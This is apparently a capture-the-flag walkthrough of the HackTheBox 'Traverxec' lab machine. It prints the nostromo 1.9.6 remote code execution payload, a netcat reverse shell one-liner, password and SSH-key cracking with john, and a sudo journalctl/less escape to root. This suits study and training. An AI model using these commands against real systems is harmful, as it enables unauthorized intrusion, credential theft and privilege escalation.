HackTheBox – Traverxec

6 minute read



In this box, we find a vulnerable HTTP server (nostromo) and use an RCE exploit to get a reverse shell. We then find an archived, encrypted SSH key that we crack with john to escalate to user privileges. And then we use less to escalate to root privileges. Let’s jump into it!


As always, the first step of the box is enumeration. Let’s find out what services are running on the box. We’ll use nmap for this.

$ nmap -vvv -sCV -oN traverxec.nmap
22/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVWo6eEhBKO19Owd6sVIAFVCJjQqSL4g16oI/DoFwUo+ubJyyIeTRagQNE91YdCrENXF2qBs2yFj2fqfRZy9iqGB09VOZt6i8oalpbmFwkBDtCdHoIAZbaZFKAl+m1UBell2v0xUhAy37Wl9BjoUU3EQBVF5QJNQqvb/mSqHsi5TAJcMtCpWKA4So3pwZcTatSu5x/RYdKzzo9fWSS6hjO4/hdJ4BM6eyKQxa29vl/ea1PvcHPY5EDTRX5RtraV9HAT7w2zIZH5W6i3BQvMGEckrrvVTZ6Ge3Gjx00ORLBdoVyqQeXQzIJ/vuDuJOH2G6E/AHDsw3n5yFNMKeCvNNL
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLpsS/IDFr0gxOgk9GkAT0G4vhnRdtvoL8iem2q8yoRCatUIib1nkp5ViHvLEgL6e3AnzUJGFLI3TFz+CInilq4=
|   256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGJ16OMR0bxc/4SAEl1yiyEUxC3i/dFH7ftnCU7+P+3s
80/tcp open  http    syn-ack nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds

We see that port 22 is running SSH. We check to see if we can ssh in without a password, and find out that passwordless SSH authentication is disallowed. Next, I notice this weird string in the http-server-header, nostromo 1.9.6. Let’s see if the exploitdb knows anything about it.

$ searchsploit nostromo 1.9.6
-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
                                                        | (/usr/share/exploitdb/)
-------------------------------------------------------- ---------------------------------
nostromo 1.9.6 - Remote Code Execution                  | exploits/multiple/remote/47837.py
-------------------------------------------------------- ---------------------------------
Shellcodes: No Result
Papers: No Result

There is a RCE exploit available for this version of nostromo. Let’s read it to learn about how it works, and then use it.

# Download the exploit locally
$ searchsploit -m exploits/multiple/remote/47837.py

Reading through the exploit, we can see that the command is injected into a POST request to the server. This is the code block that actually performs the injection. I’ve annotated it for easy understanding.

def cve(target, port, cmd):
    # Create new web socket and connect to target IP at port.
    soc = socket.socket()
    soc.connect((target, int(port)))
    # Create malicious POST request
    payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
    # Send POST request and receive the output
    receive = connect(soc)

Let’s do a simple test to check that this exploit works.

$ python 47837.py 80 whoami

This gets us command execution!

Reverse Shell

Let’s get a reverse shell. I start a listener on port 1234 of my Kali box with $ nc -lvnp 1234. Then I issue the following command to be run on the remote machine to get a reverse shell.

$ python 47837.py 80 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 1234 >/tmp/f"
$ nc -lvnp 1234
$ whoami

Upgrade to Full Shell

We now have a bare webshell. We can’t use tab completion and we can’t Ctrl-C commands without closing the shell entirely. Let’s fix that.

$ which python
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ # Ctrl-Z
# Local shell
$ stty echo -raw; fg
www-data@traverxec:/usr/bin$ export TERM=xterm-256color
www-data@traverxec:/usr/bin$ export SHELL=bash
www-data@traverxec:/usr/bin$ clear

User Privilege Escalation

I spin up a Python webserver on my local machine with $ python3 -m http.server 8000 and use wget on the remote machine to pull down LinEnum.sh into the /tmp directory, make it executable with chmod +x, and run it.

In the output for LinEnum.sh, I see:

[-] htpasswd found - could contain passwords:

I put the line with the hash into its own file and run john on it to see if I can crack it.

$ john htpasswd -w=~/tools/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (david)
1g 0:00:00:39 DONE (2020-04-07 07:21) 0.02540g/s 268760p/s 268760c/s 268760C/s Noyoo..Noury
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Looks like the password for david is Nowonly4me. (I never ended up using this cracked hash. I think this was a rabbit hole, but am including it for completeness.)

After exploring the box for a bit, I found this:

www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html


logpid                  logs/nhttpd.pid


user                    www-data


htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd


/icons                  /var/nostromo/icons


homedirs                /home
homedirs_public         public_www

Using a bit of intuition, I tried to cd /home/david/public_www and succeeded, even though cd /home/david/ && ls failed.

www-data@traverxec:/home/david/public_www/protected-file-area$ ls

Looks interesting. Let’s extract this to /tmp.

www-data@traverxec:/home/david/public_www/protected-file-area$ cd /tmp
www-data@traverxec:/tmp$ cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz .
www-data@traverxec:/tmp$ mkdir data
www-data@traverxec:/tmp$ tar xzvf backup-ssh-identity-files.tgz -C /tmp/data
www-data@traverxec:/tmp$ cd data/home/david/.ssh/
www-data@traverxec:/tmp/data/home/david/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub
www-data@traverxec:/tmp/data/home/david/.ssh$ cat id_rsa
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F


Time to break out john to crack this encrypted RSA key. Save this key to a file and run john like this:

$ ssh2john.py david_id_rsa > ssh2john.david_id_rsa
$ john ssh2john.david_id_rsa -w=~/tools/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (david_id_rsa)
1g 0:00:00:04 DONE (2020-04-07 08:58) 0.2004g/s 2874Kp/s 2874Kc/s 2874KC/s *7¡Vamos!..clarus
Session completed

The cracked password is hunter. Let’s try to use this key to ssh into the machine.

$ chmod 700 david_id_rsa
$ ssh david@ -i david_id_rsa
Enter passphrase for key 'david_id_rsa': # hunter
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Tue Apr  7 01:01:28 2020 from
david@traverxec:~$ wc user.txt
 1  1 33 user.txt

And there is our user proof.

Root Privilege Escalation

There’s a peculiar shell script in /home/david/bin/server-stats.sh.


cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Running this script does not prompt us for a sudo password. This is a fantastic sign. I checked out the journalctl page on GTFObins and found that journalctl invokes the default pager, which is normally less. We can see that less has root privileges with:

david@traverxec:~/bin$ ls -l `which less`
-rwxr-xr-x 1 root root 166664 May  7  2018 /usr/bin/less

We can use a standard less escape to get a root shell, provided that we can make less be used as an output pager. In order to do this, your terminal size must be smaller than the coming output! I copy the server-stats.sh file to server-stats.2.sh, and remove the | /usr/bin/cat from the last line. I run the script with $ ./server-stats.2.sh and land in a less process. Typing !/bin/bash and hitting ENTER gives me a root shell.

root@traverxec:/home/david/bin# whoami
root@traverxec:/home/david/bin# wc /root/root.txt
 1  1 33 /root/root.txt

And there we have it! I really enjoyed this box, even though I struggled for hours to figure out the root privilege escalation